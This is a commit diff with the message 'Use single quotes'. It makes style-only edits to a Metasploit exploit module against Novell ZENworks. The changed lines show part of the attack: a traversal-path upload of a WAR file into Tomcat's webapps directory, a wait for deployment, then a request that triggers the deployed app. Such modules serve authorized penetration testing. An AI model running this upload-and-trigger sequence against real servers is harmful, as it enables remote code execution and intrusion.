Use single quotes
parent
4808d61af3
commit
8fcf0c558d
|
@ -53,11 +53,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL',
|
||||
[ true, "Use SSL", true ]),
|
||||
[ true, 'Use SSL', true ]),
|
||||
OptString.new('TARGETURI',
|
||||
[ true, "The base path to ZCM / ZENworks Suite", '/zenworks/' ]),
|
||||
[ true, 'The base path to ZCM / ZENworks Suite', '/zenworks/' ]),
|
||||
OptString.new('TOMCAT_PATH',
|
||||
[ false, "The Tomcat webapps traversal path (from the temp directory)", '' ]),
|
||||
[ false, 'The Tomcat webapps traversal path (from the temp directory)', '' ]),
|
||||
OptInt.new('SLEEP',
|
||||
[ true, 'Seconds to sleep while we wait for WAR deployment', 15 ]),
|
||||
], self.class)
|
||||
|
@ -88,12 +88,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'ctype' => 'application/octet-stream',
|
||||
'vars_get' => {
|
||||
'uid' => tomcat_path,
|
||||
'filename' => app_base + ".war"
|
||||
'filename' => "#{app_base}.war"
|
||||
}
|
||||
})
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
|
||||
" seconds for deployment")
|
||||
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
|
||||
sleep(datastore['SLEEP'])
|
||||
else
|
||||
print_error("#{peer} - Failed to upload, try again with a different path?")
|
||||
|
@ -105,7 +104,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
|
||||
'method' => 'GET'
|
||||
})
|
||||
return true
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue